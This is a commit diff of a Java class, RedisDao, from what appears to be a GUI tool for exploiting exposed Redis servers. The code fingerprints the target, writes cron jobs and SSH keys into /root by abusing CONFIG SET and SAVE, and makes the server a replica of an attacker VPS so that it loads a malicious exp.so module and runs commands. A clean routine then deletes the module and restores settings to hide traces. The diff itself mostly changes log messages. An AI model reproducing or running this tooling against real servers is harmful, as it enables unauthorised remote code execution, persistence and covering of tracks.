6
6
import Util .Utils ;
7
7
import javafx .application .Platform ;
8
8
import redis .clients .jedis .Jedis ;
9
- import org .apache .commons .lang .StringUtils ;
10
9
import redis .clients .jedis .commands .ProtocolCommand ;
11
10
import redis .clients .jedis .util .SafeEncoder ;
12
11
13
12
import java .sql .SQLException ;
14
13
import java .util .Arrays ;
15
14
import java .util .List ;
16
15
16
+
17
17
public class RedisDao {
18
18
/**
19
19
* 用此方法获取 RedisController 的日志框
@@ -28,6 +28,9 @@ public class RedisDao {
28
28
private int port ;
29
29
private String password ;
30
30
private int timeout ;
31
+ private String OS ;
32
+ private String redisVersion ;
33
+ private String arch ;
31
34
32
35
public RedisDao (String ip , String port , String password , String timeout ) {
33
36
this .ip = ip ;
@@ -72,14 +75,20 @@ public void closeConnection() throws Exception {
72
75
public void getInfo () throws Exception {
73
76
String info = CONN .info ();
74
77
dir = CONN .configGet ("dir" );
78
+ OS = Utils .regularMatch ("os:(.*)" ,info );
79
+ redisVersion = Utils .regularMatch ("redis_version:(.*)" ,info );
80
+ arch = Utils .regularMatch ("arch_bits:(.*)" ,info );
75
81
76
82
List <String > dbfilename = CONN .configGet ("dbfilename" );
77
- String orginDir = StringUtils .join (dir , ": " );
78
- String orginDbfilename = StringUtils .join (dbfilename , ": " );
83
+ // String orginDir = StringUtils.join(dir, ": ");
84
+ // String orginDbfilename = StringUtils.join(dbfilename, ": ");
79
85
Platform .runLater (() -> {
80
- redisController .redisLogTextFArea .appendText (Utils .log (orginDir ));
81
- redisController .redisLogTextFArea .appendText (Utils .log (orginDbfilename ));
82
- redisController .redisLogTextFArea .appendText (Utils .log ("4.x,5.x 可使用主从备份请注意查看版本信息" ));
86
+ //redisController.redisLogTextFArea.appendText(Utils.log(orginDir));
87
+ //redisController.redisLogTextFArea.appendText(Utils.log(orginDbfilename));
88
+ redisController .redisLogTextFArea .appendText (Utils .log ("当前系统: " + OS ));
89
+ redisController .redisLogTextFArea .appendText (Utils .log ("当前系统位数: " + arch ));
90
+ redisController .redisLogTextFArea .appendText (Utils .log ("当前 Redis 版本: " + redisVersion ));
91
+ redisController .redisLogTextFArea .appendText (Utils .log ("4.x,5.x 可使用主从同步请注意查看版本信息" ));
83
92
redisController .redisOutputTextFArea .setText (info );
84
93
});
85
94
}
@@ -116,18 +125,16 @@ public void crontab(String cronText) {
116
125
CONN .configSet ("dbfilename" , "root" );
117
126
CONN .save ();
118
127
Platform .runLater (() -> {
119
- redisController .redisLogTextFArea .appendText (Utils .log (cronText + "\n " + "write cron success: " + dir + "root" ));
128
+ redisController .redisLogTextFArea .appendText (Utils .log (dir + "root 写入 CRON 计划任务成功!" ));
120
129
});
130
+ break ;
121
131
} catch (Exception e ) {
122
132
Platform .runLater (() -> {
133
+ redisController .redisLogTextFArea .appendText (Utils .log ("crontab unknown error" ));
123
134
redisController .redisLogTextFArea .appendText (Utils .log (e .getMessage ()));
124
135
});
125
136
}
126
137
}
127
- Platform .runLater (() -> {
128
- redisController .redisLogTextFArea .appendText (Utils .log ("crontab unknown error" ));
129
- });
130
-
131
138
}
132
139
133
140
public void sshkey (String sshRsa ) {
@@ -136,14 +143,16 @@ public void sshkey(String sshRsa) {
136
143
CONN .configSet ("dir" , "/root/.ssh/" );
137
144
CONN .configSet ("dbfilename" , "authorized_keys" );
138
145
CONN .save ();
146
+ Platform .runLater (() -> {
147
+ redisController .redisLogTextFArea .appendText (Utils .log ("写入 SSH 公钥成功!" ));
148
+ });
139
149
} catch (Exception e ) {
140
150
Platform .runLater (() -> {
151
+ redisController .redisLogTextFArea .appendText (Utils .log ("写入 SSH 公钥失败!" ));
141
152
redisController .redisLogTextFArea .appendText (Utils .log (e .getMessage ()));
142
153
});
143
154
}
144
- Platform .runLater (() -> {
145
- redisController .redisLogTextFArea .appendText (Utils .log ("write ssh rsa success: " + sshRsa ));
146
- });
155
+
147
156
}
148
157
149
158
public void rogue (String vpsip , String vpsport , int timeout ) throws InterruptedException {
@@ -156,7 +165,7 @@ public void rogue(String vpsip, String vpsport, int timeout) throws InterruptedE
156
165
slaveReadOnlyFlag = slaveReadOnlyList .get (1 );
157
166
158
167
Platform .runLater (() -> {
159
- redisController .redisLogTextFArea .appendText (Utils .log ("slave-read-only -> no ... " ));
168
+ redisController .redisLogTextFArea .appendText (Utils .log ("成功设置 slave-read-only 为 no! " ));
160
169
});
161
170
CONN .configSet ("slave-read-only" , "no" );
162
171
@@ -166,6 +175,9 @@ public void rogue(String vpsip, String vpsport, int timeout) throws InterruptedE
166
175
List <String > dir = CONN .configGet ("dir" );
167
176
String evalpath = dir .get (1 ) + "/exp.so" ;
168
177
178
+ Platform .runLater (() -> {
179
+ redisController .redisLogTextFArea .appendText (Utils .log ("正在加载模块请稍等..." ));
180
+ });
169
181
// 加载恶意so
170
182
Thread .sleep (timeout );
171
183
CONN .moduleLoad (evalpath );
@@ -174,7 +186,7 @@ public void rogue(String vpsip, String vpsport, int timeout) throws InterruptedE
174
186
//关闭主从
175
187
CONN .slaveofNoOne ();
176
188
Platform .runLater (() -> {
177
- redisController .redisLogTextFArea .appendText (Utils .log ("success write exp.so ... " ));
189
+ redisController .redisLogTextFArea .appendText (Utils .log ("模块加载成功! " ));
178
190
});
179
191
180
192
}
@@ -215,33 +227,33 @@ public String eval(String command, String code) {
215
227
public void clean () {
216
228
CONN .configSet ("dir" , dir .get (1 ));
217
229
Platform .runLater (() -> {
218
- redisController .redisLogTextFArea .appendText (Utils .log ("reset dir success " ));
230
+ redisController .redisLogTextFArea .appendText (Utils .log ("重设 Dir 参数成功! " ));
219
231
});
220
232
221
233
CONN .configSet ("slave-read-only" , slaveReadOnlyFlag );
222
234
Platform .runLater (() -> {
223
- redisController .redisLogTextFArea .appendText (Utils .log ("reset slave-read-only success " ));
235
+ redisController .redisLogTextFArea .appendText (Utils .log ("重设 slave-read-only 成功! " ));
224
236
});
225
237
CONN .configSet ("dbfilename" , "dump.rdb" );
226
238
Platform .runLater (() -> {
227
- redisController .redisLogTextFArea .appendText (Utils .log ("reset dbfilename success " ));
239
+ redisController .redisLogTextFArea .appendText (Utils .log ("重设 dbfilename 参数成功! " ));
228
240
});
229
241
CONN .slaveofNoOne ();
230
242
Platform .runLater (() -> {
231
- redisController .redisLogTextFArea .appendText (Utils .log ("reset slaveof success " ));
243
+ redisController .redisLogTextFArea .appendText (Utils .log ("重设 slaveof 成功 " ));
232
244
});
233
245
eval ("rm -f " + dir .get (1 ) + "/exp.so" , "UTF-8" );
234
246
Platform .runLater (() -> {
235
- redisController .redisLogTextFArea .appendText (Utils .log ("remove exp file success " ));
247
+ redisController .redisLogTextFArea .appendText (Utils .log ("删除 exp 提权模块成功! " ));
236
248
});
237
249
CONN .moduleUnload ("system" );
238
250
Platform .runLater (() -> {
239
- redisController .redisLogTextFArea .appendText (Utils .log ("unload system.exec success " ));
251
+ redisController .redisLogTextFArea .appendText (Utils .log ("卸载函数成功过! " ));
240
252
});
241
253
CONN .del ("xxssh" );
242
254
CONN .del ("xxcron" );
243
255
Platform .runLater (() -> {
244
- redisController .redisLogTextFArea .appendText (Utils .log ("delete exp key success " ));
256
+ redisController .redisLogTextFArea .appendText (Utils .log ("删除 Key 成功! " ));
245
257
});
246
258
}
247
259
0 commit comments